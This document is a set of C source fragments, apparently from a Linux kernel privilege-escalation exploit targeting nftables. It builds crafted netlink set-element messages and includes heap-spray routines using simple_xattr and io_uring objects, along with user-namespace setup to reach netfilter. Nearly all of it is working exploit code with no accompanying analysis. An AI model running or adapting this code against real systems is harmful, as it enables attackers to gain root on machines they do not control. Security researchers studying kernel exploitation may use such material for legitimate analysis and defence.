nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size);
if (!nlh_payload) {
do_error_exit("malloc");
}
memset(nlh_payload, 0, nlh_payload_size);
/** Fill the required fields **/
nlh_payload->nlmsg_len = nlh_payload_size;
nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSETELEM;
nlh_payload->nlmsg_pid = getpid();
nlh_payload->nlmsg_flags = NLM_F_REQUEST;
nlh_payload->nlmsg_seq = 0;
/** Setup the nfgenmsg **/
nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload);
nfm->nfgen_family = NFPROTO_INET;
/** Setup the attributes */
attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg)));
attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_TABLE, table_name);
attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_SET, set_name);
attr = set_u32_attr(attr, NFTA_SET_ELEM_LIST_SET_ID, id);
attr = set_nested_attr(attr, NFTA_SET_ELEM_LIST_ELEMENTS, nested_attr_size);
/*** First element ***/
attr = set_nested_attr(attr, 0, first_element_size - 4);
attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen));
attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen);
attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, NLA_BIN_SIZE(data_len));
attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)data, data_len);
/*** Second element ***/
attr = set_nested_attr(attr, 0, second_element_size - 4);
attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen));
attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen);
attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, U32_NLA_SIZE + sizeof(struct nlattr));
attr = set_nested_attr(attr, NFTA_DATA_VERDICT, U32_NLA_SIZE);
set_u32_attr(attr, NFTA_VERDICT_CODE, NFT_CONTINUE);
/* Last netlink message: End of batch */
nlh_batch_end = get_batch_end_nlmsg();
/* Setup the iovec */
memset(iov, 0, sizeof(struct iovec) * 3);
iov[0].iov_base = (void *)nlh_batch_begin;
iov[0].iov_len = nlh_batch_begin->nlmsg_len;
iov[1].iov_base = (void *)nlh_payload;
iov[1].iov_len = nlh_payload->nlmsg_len;
iov[2].iov_base = (void *)nlh_batch_end;
iov[2].iov_len = nlh_batch_end->nlmsg_len;
/* Prepare the message to send */
memset(&msg, 0, sizeof(struct msghdr));
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = 3;
/* Send message */
sendmsg(sock, &msg, 0);
/* Free allocated memory */
free(nlh_batch_end);
free(nlh_payload);
free(nlh_batch_begin);
}

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#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/xattr.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mount.h>
#include "log.h"
#include "simple_xattr.h"
/**
* spray_simple_xattr(): Spray the heap with `simple_xattr` objects
* @spray_size: Number of objects to put into `kmalloc-64`
*/
void spray_simple_xattr(char *filename, uint32_t spray_size) {
char attribute_name[ATTRIBUTE_NAME_LEN];
/* Mount a new tmpfs to be able to set security xattr */
if (mkdir("/tmp/tmpfs", S_IRWXU) == -1 && errno != EEXIST)
do_error_exit("mkdir");
if (mount(NULL, "/tmp/tmpfs", "tmpfs", 0, NULL) == -1)
{
do_error_exit("mount");
}
/* Create a file to the set attributes */
int fd = creat(filename, 0644);
close(fd);
for (uint64_t i = 0; i < spray_size; i++) {
/* Need that the name is allocated within `kmalloc-256` */
snprintf(attribute_name, ATTRIBUTE_NAME_LEN, "security.attr%215lu-%s", i, XATTR_DELETION_NAME);
create_xattr(filename, attribute_name);
}
}
/**
* create_xattr(): Add an xattribute to a file with the value "value"
* @filename: Name of the concerned file
* @attribute_name: Attribute name
*/
void create_xattr(const char *filename, char *attribute_name) {
if (setxattr(filename, attribute_name, XATTR_VALUE, strlen(XATTR_VALUE), XATTR_CREATE) < 0)
do_error_exit("setxattr");
}

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#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <syscall.h>
#include <linux/io_uring.h>
#include "uring.h"
#include "log.h"
#include "util.h"
/**
* spray_uring(): Spray different caches of the kernel heap
* @spray_size: Size to spray
* @fd_buffer: Buffer used to store information about the allocated objects
*
* This spray is mainly used to spray the cache `kmalloc-64` with `percpu_ref_data` objects
*/
void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer) {
for (uint64_t i = 0; i < spray_size; i++) {
fd_buffer[i].params = malloc(sizeof(struct io_uring_params));
if (!fd_buffer[i].params)
do_error_exit("malloc");
memset(fd_buffer[i].params, 0, sizeof(struct io_uring_params));
fd_buffer[i].fd = io_uring_setup(SPRAY_NB_ENTRIES, fd_buffer[i].params);
if (fd_buffer[i].fd < 0)
do_error_exit("io_uring_create");
}
}
/**
* release_uring(): Release percpu_ref_data objects allocated
* @fd_buffer: Buffer that stores io_ring_ctx fds
* @buffer_size: Size of the previous buffer
*/
void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size) {
for (uint32_t i = 0; i < buffer_size; i++) {
close(fd_buffer[i].fd);
}
free(fd_buffer);
}

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#define _GNU_SOURCE
#include <stdint.h>
#include <stdlib.h>
#include <sched.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <sys/utsname.h>
#include "log.h"
#include "util.h"
/**
* write_file(): Write a string into a file
* @filename: File to write
* @text: Text to write
*/
void write_file(const char *filename, char *text) {
int fd = open(filename, O_RDWR);
write(fd, text, strlen(text));
close(fd);
}
/**
* new_ns(): Change the current namespace to access to netfilter and
* to be able to write security xattr in a tmpfs
*/
void new_ns(void) {
uid_t uid = getuid();
gid_t gid = getgid();
char buffer[0x100];
if (unshare(CLONE_NEWUSER | CLONE_NEWNS))
do_error_exit("unshare(CLONE_NEWUSER | CLONE_NEWNS)");
if (unshare(CLONE_NEWNET))
do_error_exit("unshare(CLONE_NEWNET)");
write_file("/proc/self/setgroups", "deny");
snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
write_file("/proc/self/uid_map", buffer);
snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
write_file("/proc/self/gid_map", buffer);
}
/**
* set_cpu_affinity(): Pin a process to a CPU
* @cpu_n: CPU to use
* @pid: pid of the process to attach
*/
void set_cpu_affinity(int cpu_n, pid_t pid) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu_n, &set);
if (sched_setaffinity(pid, sizeof(set), &set) < 0)
do_error_exit("sched_setaffinity");
}
/**
* generate_tmp_filename(): Generate a filename to be used with
* the xattr spray
*
* Return: New generated filename
*/
char *generate_tmp_filename(void) {
static char buffer[FILENAME_MAX_LEN];
static uint64_t counter = 0;
snprintf(buffer, FILENAME_MAX_LEN, "/tmp/tmpfs/file%lu", counter);
counter++;
return buffer;
}